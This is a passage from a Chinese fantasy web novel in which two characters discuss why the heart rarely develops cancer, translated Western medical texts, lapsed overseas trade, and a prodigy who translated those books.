“虽然心脏有可能癌变,但是这也不一定,”萧隐说,“癌是由上皮组织发生的恶性肿瘤,心脏中没有上皮组织,所以不会有原发性癌的发生。而且心脏和血管构成了一个封闭的血液循环系统,使其不易受到外界有害物质的直接侵袭。人们生活中面临的许多致癌物质都可能对鼻咽、口腔、食管、胃肠、肺、皮肤等器官造成不同程度的伤害,进而引发恶性病变。而心脏深藏在躯体核心位置,进入到血流的有害物质也能在经过肝脏、脾脏和肾脏时不断得到解毒、与净化处理,使致癌物质不易对心脏造成危害……这是因为心脏是人体血液循环的泵站,流经心脏的血液在人活着的时候按理说永不停息,能够使转移中的恶性肿瘤细胞不宜在心脏中停留。虽然海外医(西医)书上曾说,心脏实际上也不是绝对不患癌,血管肉瘤、横纹肌肉瘤、淋巴瘤等原发性恶性肿瘤可见于心脏;另外,如有些肿瘤也能转移到心脏,称为继发性恶性肿瘤。但是,不论是原发还是继发,与别的器官相比较,心脏的恶性肿瘤是非常罕见的。这也就说明心脏相对来说癌变的几率更低,心头血在那时候的可用价值也就更高了。” 伶舟絮没想到她叽里咕噜说了一大堆,一时间不禁有些愣住了,然后她憋了好一会儿,这才终于冒出来一句话:“你还看过海外医书?” 萧隐颔首,“终南藏书阁有源于海外的那些藏书,且海外医书并没有设那么多权限,我也就看了。” “……能看懂?” 萧隐:“原版估计看不懂,可我看的是译本,也就能意会。” 伶舟絮沉默了。 萧隐许久没听见她答话,不由侧目。伶舟絮却还是什么都没讲,只是沉默,萧隐:“怎么了吗?” “你看书的时候没觉得有啥不对吗?”她问,“为啥别的都容易上锁可那几本海外的译本就能让你看?” 萧隐闻声也顿了一下,“我没有想那么多,只是拿了书就看了。书中内容详实,语言精炼,逻辑通畅,虽然我因为不会外语看不了原文,只能读译本,且因为手头受限,知识储备量也不足,并没有办法真正自己考究那些术语和性状的真伪,但是总的来说那书还是让我受益匪浅的。尽管那些知识点陌生得仿佛是我从没想过的另一个世界的事,”她低声说,“和中医那些七经八络不同,却别有一番滋味,我很好奇,也很……感兴趣。” 伶舟絮哗然:“你真能对那东西感兴趣?我们生灵学(本土的生物学)引进了海外的一些内容(西方生物学)以后一时间都多的是人根本学不进去也弄不懂,你到底是怎么懂的?” 萧隐却问:“海外内容是怎么引进过来的?终南会定期和异族做海外贸易吗?还是从前有人曾出海带来了这些著作并将它们做出了译本?” 伶舟絮愣了下,却忽然叹了口气,摇摇头。 萧隐望着她,只听她说,“你也是可惜了。” “什么?” “早几十年前,咱们这边确实是跟异族做海外贸易的,甚至有时候咱们还有人能出海游学,我姥据说就曾送我娘出去游学,你现在看到的那些海外医书的译本,大多是那时候弄出来的。” 萧隐:“那些译本的翻译团队现在还在吗?” 伶舟絮摇头:“虽然还有零星一些人在,但是已经没什么用了。” “为什么?”萧隐问,“是因为发生了什么变故,所以这里不再跟异族做贸易往来了吗?” 伶舟絮应声,“近些年我们忽然间发现海外环境的变动太大,而且就连时空和大陆板块疑似也有了变动,再想进行贸易往来并不方便也不安全,所以也就中止了出海游学和异族之间别的贸易往来了。” 萧隐:“那现在还有人会外语吗?” 伶舟絮:“有啊,那帮会外语的是一般没法再从海外贸易上大展拳脚了,又不是都驾鹤西去了,当然有。”说着,她忽然认识到了什么,偏头看向萧隐,“你想学?” 萧隐也不遮掩,直接点头道:“我的确想要学海外的‘普通话’,学到能够读书认字写作,应付日常交流为止。” 伶舟絮被她的话弄得一愣。虽然她早就知道萧隐是个好学的,而且从刚才的谈话中,她也能猜出萧隐想要看那些海外医书的原文,而这就无疑需要学习外语,但是听着萧隐直截了当的说出了目标和计划,她还是忍不住惊奇:“学外语可不容易,我虽然没学过,但我娘曾出海游学,她会外语。我小时候,她还会教我说一说,那些发音让人舌头打卷,字符看着更是七扭八拐,拧巴得不行……” “絮姑娘会外语?”萧隐抓住了重点。< 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伶舟絮愣了下,可能是也没想过这个问题,毕竟终南自从发现海的另一头似乎有神秘力量波动以后,就迫不及待着手组织了一帮人探路,曹玄灵的安全虽然也理应得到考虑,可大部分人当初之所以带着这么个十来岁的小姑娘,目的就是让她提升团队战力,至于她的安全……伶舟絮确实没听说谁真的对这个事多上心,“出那么远的门,一伙人身上肯定都有法宝吧。”想了下,伶舟絮猜测。 萧隐没再多说什么,心中却知道,那些法宝八成也是曹玄灵耗费着灵力、精力自己做的,而她每每一出手,既然那帮人都是奔着让她提升团队战力才带了她一个,那么就肯定有人对她做出的法宝虎视眈眈。这样一来,曹玄灵即便做了东西,也够呛有多少能安安稳稳揣自己兜里,在对方人多势众的情况下,很可能还不得不低头。那实在不能算是个多么保障曹玄灵人身权力的活动,甚至可以说,这就是在单纯把她当血包而已。 伶舟絮只知道那场“探路”收获颇丰,曹玄灵出去以后不仅兵工上更上一层楼了,还带了几本外语书,并把那些书翻译出来放进了藏书阁,后来陆陆续续,终南又开始派人出海游学,回来的人基本上都会像她一样,整理自己所学,可那帮人普遍对语言的掌握程度不如曹,学习能力也不如她,所以萧隐现在看到的书,大多是那时候曹玄灵翻译或修订或润色出来的——她真的是个天纵奇才,不论生灵(本土的叫“生灵”,海外的叫“生物”)、外语、兵工还是医学,她都能炉火纯青,“就连我娘用的第一本外语教科书,都是她编撰的。现在她翻译出的那些东西,还有些都合并进了当下的课本,像生灵,就特意分出了一门‘生物’,专门讲海外的‘生灵学’,岐黄(中医)也分出了一门‘西医’——因为我们当初派人就是专门往西方去的,从西方来的医术,也就在这头叫‘西医’了。”伶舟絮摇头,“不过这些可真够难的。几十年来,我们也没多少真能把这些东西钻研七七八八的人,大部分人,听着生灵,还好说,轮到修习生物,那么就只剩下一头雾水了。对待西医也是一样。 “你说,同样都是人,怎么曹玄灵一个人就能学得会那么多复杂的东西呢?”伶舟絮戳了戳萧隐的胳膊。